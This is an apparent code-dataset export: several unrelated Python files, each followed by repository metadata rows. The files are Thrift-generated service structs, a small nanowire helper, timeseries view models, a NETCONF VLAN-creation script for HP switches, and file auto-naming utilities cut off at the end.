all_structs.append(find_result)
find_result.thrift_spec = (
(0, TType.STRUCT, 'success', [TUniquepair, None], None, ), # 0
(1, TType.STRUCT, 'e', [TUniquepairNotFoundException, None], None, ), # 1
)
class all_args(object):
"""
Attributes:
- domain
"""
def __init__(self, domain=None,):
self.domain = domain
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.domain = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('all_args')
if self.domain is not None:
oprot.writeFieldBegin('domain', TType.STRING, 1)
oprot.writeString(self.domain.encode('utf-8') if sys.version_info[0] == 2 else self.domain)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
all_structs.append(all_args)
all_args.thrift_spec = (
None, # 0
(1, TType.STRING, 'domain', 'UTF8', None, ), # 1
)
class all_result(object):
"""
Attributes:
- success
"""
def __init__(self, success=None,):
self.success = success
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 0:
if ftype == TType.LIST:
self.success = []
(_etype31, _size28) = iprot.readListBegin()
for _i32 in range(_size28):
_elem33 = TUniquepair()
_elem33.read(iprot)
self.success.append(_elem33)
iprot.readListEnd()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('all_result')
if self.success is not None:
oprot.writeFieldBegin('success', TType.LIST, 0)
oprot.writeListBegin(TType.STRUCT, len(self.success))
for iter34 in self.success:
iter34.write(oprot)
oprot.writeListEnd()
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
all_structs.append(all_result)
all_result.thrift_spec = (
(0, TType.LIST, 'success', (TType.STRUCT, [TUniquepair, None], False), None, ), # 0
)
class filter_by_first_elem_args(object):
"""
Attributes:
- domain
- first_elem
"""
def __init__(self, domain=None, first_elem=None,):
self.domain = domain
self.first_elem = first_elem
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.domain = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.I32:
self.first_elem = iprot.readI32()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('filter_by_first_elem_args')
if self.domain is not None:
oprot.writeFieldBegin('domain', TType.STRING, 1)
oprot.writeString(self.domain.encode('utf-8') if sys.version_info[0] == 2 else self.domain)
oprot.writeFieldEnd()
if self.first_elem is not None:
oprot.writeFieldBegin('first_elem', TType.I32, 2)
oprot.writeI32(self.first_elem)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
all_structs.append(filter_by_first_elem_args)
filter_by_first_elem_args.thrift_spec = (
None, # 0
(1, TType.STRING, 'domain', 'UTF8', None, ), # 1
(2, TType.I32, 'first_elem', None, None, ), # 2
)
class filter_by_first_elem_result(object):
"""
Attributes:
- success
"""
def __init__(self, success=None,):
self.success = success
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 0:
if ftype == TType.LIST:
self.success = []
(_etype38, _size35) = iprot.readListBegin()
for _i39 in range(_size35):
_elem40 = TUniquepair()
_elem40.read(iprot)
self.success.append(_elem40)
iprot.readListEnd()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('filter_by_first_elem_result')
if self.success is not None:
oprot.writeFieldBegin('success', TType.LIST, 0)
oprot.writeListBegin(TType.STRUCT, len(self.success))
for iter41 in self.success:
iter41.write(oprot)
oprot.writeListEnd()
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
all_structs.append(filter_by_first_elem_result)
filter_by_first_elem_result.thrift_spec = (
(0, TType.LIST, 'success', (TType.STRUCT, [TUniquepair, None], False), None, ), # 0
)
class filter_by_second_elem_args(object):
"""
Attributes:
- domain
- second_elem
"""
def __init__(self, domain=None, second_elem=None,):
self.domain = domain
self.second_elem = second_elem
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.domain = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.I32:
self.second_elem = iprot.readI32()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('filter_by_second_elem_args')
if self.domain is not None:
oprot.writeFieldBegin('domain', TType.STRING, 1)
oprot.writeString(self.domain.encode('utf-8') if sys.version_info[0] == 2 else self.domain)
oprot.writeFieldEnd()
if self.second_elem is not None:
oprot.writeFieldBegin('second_elem', TType.I32, 2)
oprot.writeI32(self.second_elem)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
all_structs.append(filter_by_second_elem_args)
filter_by_second_elem_args.thrift_spec = (
None, # 0
(1, TType.STRING, 'domain', 'UTF8', None, ), # 1
(2, TType.I32, 'second_elem', None, None, ), # 2
)
class filter_by_second_elem_result(object):
"""
Attributes:
- success
"""
def __init__(self, success=None,):
self.success = success
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 0:
if ftype == TType.LIST:
self.success = []
(_etype45, _size42) = iprot.readListBegin()
for _i46 in range(_size42):
_elem47 = TUniquepair()
_elem47.read(iprot)
self.success.append(_elem47)
iprot.readListEnd()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('filter_by_second_elem_result')
if self.success is not None:
oprot.writeFieldBegin('success', TType.LIST, 0)
oprot.writeListBegin(TType.STRUCT, len(self.success))
for iter48 in self.success:
iter48.write(oprot)
oprot.writeListEnd()
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
all_structs.append(filter_by_second_elem_result)
filter_by_second_elem_result.thrift_spec = (
(0, TType.LIST, 'success', (TType.STRUCT, [TUniquepair, None], False), None, ), # 0
)
class count_first_elem_args(object):
"""
Attributes:
- domain
- first_elem
"""
def __init__(self, domain=None, first_elem=None,):
self.domain = domain
self.first_elem = first_elem
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.domain = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.I32:
self.first_elem = iprot.readI32()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('count_first_elem_args')
if self.domain is not None:
oprot.writeFieldBegin('domain', TType.STRING, 1)
oprot.writeString(self.domain.encode('utf-8') if sys.version_info[0] == 2 else self.domain)
oprot.writeFieldEnd()
if self.first_elem is not None:
oprot.writeFieldBegin('first_elem', TType.I32, 2)
oprot.writeI32(self.first_elem)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
all_structs.append(count_first_elem_args)
count_first_elem_args.thrift_spec = (
None, # 0
(1, TType.STRING, 'domain', 'UTF8', None, ), # 1
(2, TType.I32, 'first_elem', None, None, ), # 2
)
class count_first_elem_result(object):
"""
Attributes:
- success
"""
def __init__(self, success=None,):
self.success = success
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 0:
if ftype == TType.I32:
self.success = iprot.readI32()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('count_first_elem_result')
if self.success is not None:
oprot.writeFieldBegin('success', TType.I32, 0)
oprot.writeI32(self.success)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
all_structs.append(count_first_elem_result)
count_first_elem_result.thrift_spec = (
(0, TType.I32, 'success', None, None, ), # 0
)
class count_second_elem_args(object):
"""
Attributes:
- domain
- second_elem
"""
def __init__(self, domain=None, second_elem=None,):
self.domain = domain
self.second_elem = second_elem
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.domain = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.I32:
self.second_elem = iprot.readI32()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('count_second_elem_args')
if self.domain is not None:
oprot.writeFieldBegin('domain', TType.STRING, 1)
oprot.writeString(self.domain.encode('utf-8') if sys.version_info[0] == 2 else self.domain)
oprot.writeFieldEnd()
if self.second_elem is not None:
oprot.writeFieldBegin('second_elem', TType.I32, 2)
oprot.writeI32(self.second_elem)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
all_structs.append(count_second_elem_args)
count_second_elem_args.thrift_spec = (
None, # 0
(1, TType.STRING, 'domain', 'UTF8', None, ), # 1
(2, TType.I32, 'second_elem', None, None, ), # 2
)
class count_second_elem_result(object):
"""
Attributes:
- success
"""
def __init__(self, success=None,):
self.success = success
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 0:
if ftype == TType.I32:
self.success = iprot.readI32()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('count_second_elem_result')
if self.success is not None:
oprot.writeFieldBegin('success', TType.I32, 0)
oprot.writeI32(self.success)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
all_structs.append(count_second_elem_result)
count_second_elem_result.thrift_spec = (
(0, TType.I32, 'success', None, None, ), # 0
)
fix_spec(all_structs)
del all_structs
| 33.426011
| 134
| 0.588977
| 7,068
| 65,281
| 5.169921
| 0.028297
| 0.030048
| 0.028078
| 0.023152
| 0.930544
| 0.913412
| 0.898744
| 0.885225
| 0.864673
| 0.848964
| 0
| 0.007852
| 0.309386
| 65,281
| 1,952
| 135
| 33.443135
| 0.802657
| 0.022013
| 0
| 0.83944
| 1
| 0
| 0.037025
| 0.004467
| 0
| 0
| 0
| 0
| 0
| 1
| 0.116589
| false
| 0.005996
| 0.00533
| 0.035976
| 0.22052
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
9427574db88840f97658c978a59ed5f0b49702c9
| 142
|
py
|
Python
|
tests/test_compound_wires.py
|
araghukas/nwlattice
|
443d0a000c2b68cd99070245eede032e912c1a40
|
[
"MIT"
] | 1
|
2020-11-23T01:00:34.000Z
|
2020-11-23T01:00:34.000Z
|
tests/test_compound_wires.py
|
araghukas/nwlattice
|
443d0a000c2b68cd99070245eede032e912c1a40
|
[
"MIT"
] | null | null | null |
tests/test_compound_wires.py
|
araghukas/nwlattice
|
443d0a000c2b68cd99070245eede032e912c1a40
|
[
"MIT"
] | null | null | null |
"""
TODO:
- does the last plane fit the first plane?
"""
def is_periodic(wire) -> bool:
return wire.planes[0].fits(wire.planes[-1])
| 15.777778
| 47
| 0.633803
| 22
| 142
| 4.045455
| 0.772727
| 0.224719
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.017544
| 0.197183
| 142
| 8
| 48
| 17.75
| 0.763158
| 0.366197
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125
| 0
| 1
| 0.5
| false
| 0
| 0
| 0.5
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
947640153e954d0d2bf2942d9fa660df841ef86d
| 2,635
|
py
|
Python
|
core/data_viewmodels.py
|
ClairBerlin/managair
|
44af9f73039ecdb7dd959dacda5470a103795ac3
|
[
"BSD-3-Clause"
] | 4
|
2020-11-22T17:07:14.000Z
|
2020-11-26T07:53:08.000Z
|
core/data_viewmodels.py
|
ClairBerlin/managair
|
44af9f73039ecdb7dd959dacda5470a103795ac3
|
[
"BSD-3-Clause"
] | 18
|
2020-12-04T07:48:13.000Z
|
2022-01-26T18:09:33.000Z
|
core/data_viewmodels.py
|
ClairBerlin/managair
|
44af9f73039ecdb7dd959dacda5470a103795ac3
|
[
"BSD-3-Clause"
] | 1
|
2021-01-15T10:41:33.000Z
|
2021-01-15T10:41:33.000Z
|
from datetime import datetime
class NodeTimeseriesListViewModel:
def __init__(
self,
pk,
node_alias: str,
sample_count: int,
query_timestamp_s: int = round(datetime.now().timestamp()),
from_timestamp_s: int = 0,
to_timestamp_s: int = round(datetime.now().timestamp()),
):
self.pk = pk
self.node_alias = node_alias
self.sample_count = sample_count
self.query_timestamp_s = query_timestamp_s
self.from_timestamp_s = from_timestamp_s
self.to_timestamp_s = to_timestamp_s
class JSONAPIMeta:
resource_name = "node-timeseries"
class NodeTimeseriesViewModel(NodeTimeseriesListViewModel):
def __init__(
self,
pk,
node_alias: str,
samples,
query_timestamp_s: int = round(datetime.now().timestamp()),
from_timestamp_s: int = 0,
to_timestamp_s: int = round(datetime.now().timestamp()),
):
super().__init__(
pk=pk,
node_alias=node_alias,
sample_count=len(samples),
query_timestamp_s=query_timestamp_s,
from_timestamp_s=from_timestamp_s,
to_timestamp_s=to_timestamp_s,
)
self.samples = samples
class InstallationTimeseriesListViewModel:
def __init__(
self,
pk,
node_id,
node_alias: str,
sample_count: int,
query_timestamp_s: int = round(datetime.now().timestamp()),
from_timestamp_s: int = 0,
to_timestamp_s: int = round(datetime.now().timestamp()),
):
self.pk = pk
self.node_id = node_id
self.node_alias = node_alias
self.sample_count = sample_count
self.query_timestamp_s = query_timestamp_s
self.from_timestamp_s = from_timestamp_s
self.to_timestamp_s = to_timestamp_s
class JSONAPIMeta:
resource_name = "installation-timeseries"
class InstallationTimeseriesViewModel(InstallationTimeseriesListViewModel):
def __init__(
self,
pk,
node_id,
node_alias: str,
samples,
query_timestamp_s: int = round(datetime.now().timestamp()),
from_timestamp_s: int = 0,
to_timestamp_s: int = round(datetime.now().timestamp()),
):
super().__init__(
pk=pk,
node_id=node_id,
node_alias=node_alias,
sample_count=len(samples),
query_timestamp_s=query_timestamp_s,
from_timestamp_s=from_timestamp_s,
to_timestamp_s=to_timestamp_s,
)
self.samples = samples
| 29.606742
| 75
| 0.618596
| 293
| 2,635
| 5.139932
| 0.116041
| 0.239044
| 0.119522
| 0.095618
| 0.89907
| 0.89907
| 0.89907
| 0.89907
| 0.84595
| 0.84595
| 0
| 0.002158
| 0.296395
| 2,635
| 89
| 76
| 29.606742
| 0.81014
| 0
| 0
| 0.860759
| 0
| 0
| 0.014416
| 0.008725
| 0
| 0
| 0
| 0
| 0
| 1
| 0.050633
| false
| 0
| 0.012658
| 0
| 0.139241
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
84793756ae99b3e0fb5f3ba915e3eccdfe31a0f5
| 4,887
|
py
|
Python
|
webservice/netconfnc/create_vlan_nc.py
|
galenothiago/switch-automation
|
91d5494425e4d5dd00d2387631cd2983cfca51a2
|
[
"MIT"
] | null | null | null |
webservice/netconfnc/create_vlan_nc.py
|
galenothiago/switch-automation
|
91d5494425e4d5dd00d2387631cd2983cfca51a2
|
[
"MIT"
] | null | null | null |
webservice/netconfnc/create_vlan_nc.py
|
galenothiago/switch-automation
|
91d5494425e4d5dd00d2387631cd2983cfca51a2
|
[
"MIT"
] | 1
|
2020-12-13T12:19:29.000Z
|
2020-12-13T12:19:29.000Z
|
#!/bin/python
import json
import requests
from ncclient import manager
from config.settings import DEVICE_PARAMS
def create_vlan(ip, user, password, port_link_type, dados_vlan):
device_kargs = {'port': 830, 'hostkey_verify': False, 'allow_agent': False,
'look_for_keys': False, 'device_params': DEVICE_PARAMS}
device_kargs['host'] = ip
device_kargs['username'] = user
device_kargs['password'] = password
if (port_link_type) == '1': # Access
xml_create_vlan = '''
<nc:config xmlns:nc="urn:ietf:params:xml:ns:netconf:base:1.0">
<top xmlns="http://www.hp.com/netconf/config:1.0">
<VLAN>
<VLANs>
<VLANID>
<ID>{number_of_vlan}</ID>
<Description>{description_of_vlan}</Description>
<Name>{name_of_vlan}</Name>
</VLANID>
</VLANs>
</VLAN>
</top>
</nc:config>
'''.format(number_of_vlan=dados_vlan[1],
description_of_vlan=dados_vlan[2], name_of_vlan=dados_vlan[0])
with manager.connect(**device_kargs) as netconf_manager:
netconf_manager.edit_config(
target='running', config=xml_create_vlan, default_operation='merge')
elif (port_link_type) == '3': # Tagged
xml_create_vlan = '''
<nc:config xmlns:nc="urn:ietf:params:xml:ns:netconf:base:1.0">
<top xmlns="http://www.hp.com/netconf/config:1.0">
<VLAN>
<VLANs>
<VLANID>
<ID>{number_of_vlan}</ID>
<Description>{description_of_vlan}</Description>
<Name>{name_of_vlan}</Name>
</VLANID>
</VLANs>
</VLAN>
</top>
</nc:config>
'''.format(number_of_vlan=dados_vlan[0][1], description_of_vlan=dados_vlan[0][2], name_of_vlan=dados_vlan[0][0])
with manager.connect(**device_kargs) as netconf_manager:
netconf_manager.edit_config(
target='running', config=xml_create_vlan, default_operation='merge')
for tag_vlans in (dados_vlan[1]):
xml_create_vlan = '''
<nc:config xmlns:nc="urn:ietf:params:xml:ns:netconf:base:1.0">
<top xmlns="http://www.hp.com/netconf/config:1.0">
<VLAN>
<VLANs>
<VLANID>
<ID>{number_of_vlan}</ID>
<Description>{description}</Description>
<Name>{name}</Name>
</VLANID>
</VLANs>
</VLAN>
</top>
</nc:config>
'''.format(number_of_vlan=tag_vlans['vid'], name=tag_vlans['name'], description=tag_vlans['description'])
with manager.connect(**device_kargs) as netconf_manager:
netconf_manager.edit_config(
target='running', config=xml_create_vlan, default_operation='merge')
elif (port_link_type) == '2': # Trunk
xml_create_vlan = '''
<nc:config xmlns:nc="urn:ietf:params:xml:ns:netconf:base:1.0">
<top xmlns="http://www.hp.com/netconf/config:1.0">
<VLAN>
<VLANs>
<VLANID>
<ID>{number_of_vlan}</ID>
<Description>{description_of_vlan}</Description>
<Name>{name_of_vlan}</Name>
</VLANID>
</VLANs>
</VLAN>
</top>
</nc:config>
'''.format(number_of_vlan=dados_vlan[1], description_of_vlan=dados_vlan[2], name_of_vlan=dados_vlan[0])
with manager.connect(**device_kargs) as netconf_manager:
netconf_manager.edit_config(
target='running', config=xml_create_vlan, default_operation='merge')
| 46.990385
| 131
| 0.431962
| 437
| 4,887
| 4.576659
| 0.173913
| 0.06
| 0.0495
| 0.0675
| 0.7835
| 0.7825
| 0.769
| 0.7585
| 0.7585
| 0.7585
| 0
| 0.013233
| 0.458768
| 4,887
| 103
| 132
| 47.446602
| 0.742911
| 0.006548
| 0
| 0.758621
| 0
| 0.045977
| 0.62342
| 0.11984
| 0
| 0
| 0
| 0
| 0
| 1
| 0.011494
| false
| 0.022989
| 0.045977
| 0
| 0.057471
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
847cb88a2b548ecbd95fce7d3d6233ca871c9a04
| 9,140
|
py
|
Python
|
wpkit/basic/filetools.py
|
Peiiii/wpkit
|
23a07548be766b559b80e3114ecc24e3f2f65ea5
|
[
"MIT"
] | null | null | null |
wpkit/basic/filetools.py
|
Peiiii/wpkit
|
23a07548be766b559b80e3114ecc24e3f2f65ea5
|
[
"MIT"
] | null | null | null |
wpkit/basic/filetools.py
|
Peiiii/wpkit
|
23a07548be766b559b80e3114ecc24e3f2f65ea5
|
[
"MIT"
] | null | null | null |
import glob,os,re
def count(arr,sort=True):
items=set(arr)
counts=[0]*len(items)
for i,el in enumerate(arr):
for j,item in enumerate(items):
if el==item:
counts[j]+=1
res=list(zip(items,counts))
if sort:
res.sort(key=lambda item:item[1],reverse=True)
return res
def count_to_dict(arr):
return {k:v for k,v in count(arr)}
def fill_string_with_list(text,list,replace_char='*'):
for l in list:
text=text.replace(replace_char,str(l),1)
return text
def find_those_who(list,key):
new=[]
for i in list:
if key(i):new.append(i)
return new
def auto_name(pattern='*.jpg',dir=None):
if dir:
ptn=find_path_pattern(dir)
return auto_name(pattern=ptn)
else:
items=glob.glob(pattern)
indexes=[]
parts = pattern.split('*')
def find_all_parts(text):
myparts=parts.copy()
reses=[]
for i in range(len(myparts)-1):
pre='(?<=%s)'%(myparts[i]) if len(myparts[i]) else ''
suf='(?=%s)'%(myparts[i+1]) if len(myparts[i+1]) else ''
reg='%s.*?%s'%(pre,suf)
res=re.findall(reg,text)
if not len(res):
print("reg not find in text:", reg,text)
return None
res=res[0]
reses.append(res)
myparts[i+1]=myparts[i]+res+myparts[i+1]
if not len(reses)==len(parts)-1:return None
return reses
for item in items:
numbers = find_all_parts(item)
if not numbers:
continue
# print("numbers:",numbers)
indexes.append(numbers)
def get_max_index(indexes):
# print(indexes)
for i in range(len(indexes[0])):
indexes.sort(key=lambda index:index[i])
tmp=find_those_who(indexes,key=lambda index:index[i]==indexes[-1][i])
indexes=tmp
return indexes[0]
if len(indexes):
new_index=get_max_index(indexes)
new_index[-1]=str(int(new_index[-1])+1)
else:
new_index=[0]
path=fill_string_with_list(pattern,new_index,'*')
return path
def find_path_pattern(dir):
items = glob.glob(dir + '/*')
ptns = []
for item in items:
nums = re.findall('[0-9]{1,}', item)
if not len(nums): continue
ptn = item
for num in nums:
ptn = ptn.replace(num, '*', 1)
ptns.append(ptn)
if not len(ptns):
ptns.append('*.jpg')
counts = count(ptns)
if not counts:return None
ptn = counts[0][0]
return ptn
def get_max_path(pattern='*.jpg',dir=None):
if dir:
ptn=find_path_pattern(dir=dir)
return get_max_path(pattern=ptn)
else:
items=glob.glob(pattern)
indexes=[]
parts = pattern.split('*')
def find_all_parts(text):
myparts=parts.copy()
reses=[]
for i in range(len(myparts)-1):
